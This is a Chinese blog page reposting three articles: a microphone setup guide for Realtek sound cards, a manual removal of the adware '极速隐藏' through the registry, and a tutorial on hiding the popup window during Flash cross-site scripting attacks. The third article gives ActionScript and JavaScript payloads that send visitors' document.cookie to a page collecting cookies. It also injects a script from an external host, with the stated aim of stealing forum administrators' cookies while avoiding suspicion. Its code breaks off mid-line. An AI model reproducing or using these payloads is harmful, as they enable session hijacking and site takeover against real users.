• 2006年05月31日

    是谁抢走了我的麦克风 就让我驯服它

    是谁抢走了我的麦克风 就让我驯服它
    电脑迷 【转载】 作者:晓风残月
    为什么我新买的麦克风没有声音?好不容易搞出声音来了,为什么在语聊的时候任我喊破了嗓子,朋友还说我的声音像猫猫一样小……这些是很多新手都会碰到的问题。麦克风并不是往声卡上一插就了事的,要想用得舒舒服服,还得学会设置。来看看笔者是怎么驯服麦克风的吧。
        常见的集成声卡芯片
        目前,市场上大部分主板产品都集成了声卡芯片,从2声道、6声道一直发展到8声道甚至10声道,性能是越来越好。集成声卡芯片的生产厂商主要有Analog Devices(美国模拟器件公司)、Realtek(瑞昱)、C-Media(骅讯)、VIA(威盛)等公司,最常见的就是Realtek的产品了。在早期的主板上大多采用2声道声卡芯片,目前主流的主板都采用6声道芯片(如ALC655),高端一些的主板则会采用8声道芯(如ALC850)。
        声卡麦克风设置过程
        针对不同的声卡,设置麦克风的方法有所区别,下面就以常见的Realtek公司生产的ALC655芯片为例来介绍设置麦克风的全过程。
        将麦克风插头插到主板后面的麦克风专用插口(MIC口,通常为粉红色)。打开“控制面板/声音和音频设备”, 在“音量”标签下点击“高级”按钮打开“音量控制”窗口。点击菜单“选项/属性”,在弹出的新窗口中选择“录音”,再将下面列表里的“麦克风”选中(如图1),点击“确定”保存设置。刚才的“音量控制”窗口现在已变成了“录音控制”窗口,在该窗口中把“麦克风”区域的“选择”选中,表示当前的录音设备是麦克风,再点击菜单“选项/高级控制”,这时“麦克风”区域的最下方就会出现一个“高级”按钮,点击它,在弹出的窗口中将下面的“麦克风增强(+20dB)”选中,保存设置退出(如图2)。经过这样的设置后,用麦克风录音的时候就不会出现音量很小的情况了,否则即使将录音音量开到最大,音量还是会很小。

    图1

    图2

    提示:不同的声卡芯片和不同版本的驱动程序最终可能会导致与图片上显示的内容不一样,如“麦克风”一项被显示为“Microphone(麦克风)”或“Pink In(粉红色插座)”,“麦克风增强”被显示为“Mic Boost”等,但功能是相同的。
        通常设置完麦克风后都有个习惯:拍拍麦克风或随便说几句话听听音箱里有没有发出声音,如果有声音则表示麦克风正常,没有声音就开始怀疑麦克风的设置有问题。其实这种判断不完全准确,因为在很多情况下,声卡的驱动程序都是默认不播放麦克风的声音,也就是说麦克风已经可以录音了,但是音箱里不会播放录音。如果要让音箱播放麦克风的录音,需要在“音量控制”窗口中点击菜单“选项/属性”,选中“播放”,再把下面列表中的“麦克风”选中,并取消“音量控制”窗口中麦克风区域里“静音”前的钩。
        提示:在语音聊天的时候,如果发现录制的声音断断续续的,可以在“声音和音频设备”属性窗口中选择“音频”标签,点击“录音”旁边的“高级”按钮(如果这个选项被禁用,可以升级驱动程序),在打开的窗口中将“硬件加速”调到“无”、“采样率转换质量”调到“最好”即可。

    马上赶走流氓软件 对极速隐藏叫停!
    电脑迷 【转载】 作者:蓝色海岸
    最近,也不知怎么了,鼠标右键菜单中突然多出了一个“极速隐藏”的选项(如图1)。思来想去也想不出是什么时候招惹的它。更为可气的是当我双击欲打开某些文件时,“极速隐藏”却自动将其隐藏了,每次都要启动“极速隐藏”,重新恢复,十分烦人。想将其卸载吧,在控制面板的“添加/删除程序”窗口中却找不到卸载选项,卸载无从下手。在“C:\Program Files”目录下也找不到其可执行性文件,难道只能听之任之?

    图1
        这时,笔者突然想到右键菜单中的条目,在注册表中往往都有相关键值与之对应,于是打开注册表编辑器,以“极速隐藏”为关键词在注册表中搜索,果然在[HKEY_CLASSES_ROOT\*\shell]下找到了极速隐藏的老巢(如图2),点击“极速隐藏”子键下的“command”子键,在右侧的窗格中有一个“默认”字符串值,从中我们可以看到“极速隐藏”的可执行性文件是“C:\WINDOWS\system32\fe.exe %1”。找到了元凶就好办了,首先,将注册表中的“极速隐藏”子键删除,然后,打开资源管理器,定位到“C:\WINDOWS\system32\”目录,将“fe.exe”删除。好了,现在“极速隐藏”已经让我们彻底清理出局了。

    图2
        提示:现在有许多的流氓软件都是通过捆绑正常软件悄无声息地进入到我们的电脑中的,而且这些流氓软件往往没有卸载程序,一旦进入系统很难清理,遇到这种情况,我们不妨以程序名在注册表中进行搜索,找到相关键值进行分析和删除,往往能够将流氓软件歼灭。

    也说跨站脚本攻击的隐藏-如何防止Flash跨站攻击弹出IE窗口
    前些天一直忙着学习WIN32汇编,一直懒得写文章,这些天来好像Flash跨站攻击闹的挺凶的,但在实施Flash跨站攻击时的那个弹出的IE窗口很容易引起别人的怀疑,而使得Flash跨站攻击失败,这的确让人多少有点头疼,大家是不是也一直在寻找实施Flash跨站攻击时不弹出IE窗口的方法来隐藏自己的攻击行为呢?下面大家和我一起来解决这个不大不小的问题,让Flash跨站攻击更完美吧!

      一般来说大家在进行Flash跨站攻击时都是自己做一个Flash动画,并在第一帧中加入用于跳转到其他URL的AtionScript脚本函数,如下:

        getURL("JavaScript:window.open('http://用于收集Cookie的网页地址?'+document.cookie)","_self")

      然后把这个Flash动画置于论坛中的签名、贴子或短信消息中,用来获得管理员或用户的Cookie,从而得到管理权限,进一步伺机控制整个站点,最终达到自己的目的。我们可以看到在整个跨站攻击中最重要的就是这个AtionScript脚本啦!也就是这个脚本中用到的代码打开了一个我们又爱又恨的窗口,所以我们也只能从改造这个脚本代码来实现隐藏或者是去掉弹出的IE窗口,除此外别无它法!

      我们先分析一下上面的AtionScript脚本,它使用AtionScript脚本函数"getURL"跳转到一个使用JavaScript协议的URL(JavaScript协议后面就是我们非常熟悉的JavaScript脚本代码),在JavaScript中使用document.cookie的到Cookie,并把Cookie和一个用于收集Cookie的网页地址连成一个http协议的URL地址,最后使用window.open打开合成的URL地址,从而把Cookie用GET方式发送到用于收集Cookie的网页,并记录下来。

      通过上面的分析我们进一步了解那个弹出的IE窗口是由于JavaScript协议中的代码window.open所生成的,相信大家都知道window.open的第二个参数用来指定打开的窗口的名字,其通用名称有"_media (IE6.0 在浏览器左边的媒体面板内打开)"、"_blank (在新窗口中打开)"、"_parent (在当前框架的父框架内打开。假如当前框架无父框架,此参数值等同于 _self)"、"_search (IE5.0 在浏览器左边的搜索面板内打开)"、"_self(在当前窗口中打开,覆盖当前文档)"、"_top (在所有框架之外的最顶层窗口中打开 。假如当前窗口无框架结构,此参数值等同于 _self )"等几种,如果我们以"_search"来打开窗口,不是就没有了弹出的IE窗口了吗?AtionScript脚本改为:

        getURL("JavaScript:window.open('http://用于收集Cookie的网页地址?'+document.cookie,'_search')","_self")

    当然,这样做会打开搜索面板,也会引起怀疑,但却可以躲过那些关闭弹出窗口软件的追杀!姑且也算一种方法吧!

      如果仅仅是上面所说的,相信不少读者要把我。。。。。。

      看到这里聪明的你是不是想到了点解决的思路?对!既然支持JavaScript啦,还有啥东东会不能解决呢?JavaScript真的是好处多多呀!

      下面这样一段代码:

    jsurl="http://www.godog.y365.com/wodemuma/icyfox.js".replace(/\//g,'//');
    window.open("file:javascript:document.all.tags('SCRIPT')[0].src='"+jsurl+"';eval();","icyfoxlovelace");

    使用了javascript协议把自己网站上的一个js代码文件插入到了本地文件中,同样的道理我们也可以用它把一个js代码文件插入到进行跨站攻击的论坛网页中,相应的AtionScript脚本改为:

        getURL("JavaScript:document.all.tags('SCRIPT')[0].src='http:\/\/www.godog.y365.com\/wodemuma\/icyfox.js';eval();","_self")

    其中icyfox.js得内容如下:

    cookieurl="http://用于收集Cookie的网页地址?cookie="+escape(document.cookie);
    /*这里使用了escape()对cookie编码,用来防止cookie中的一些特殊字符*/
    document.body.insertAdjacentHTML('beforeEnd','

    收藏到:Del.icio.us





发表评论

您将收到博主的回复邮件
记住我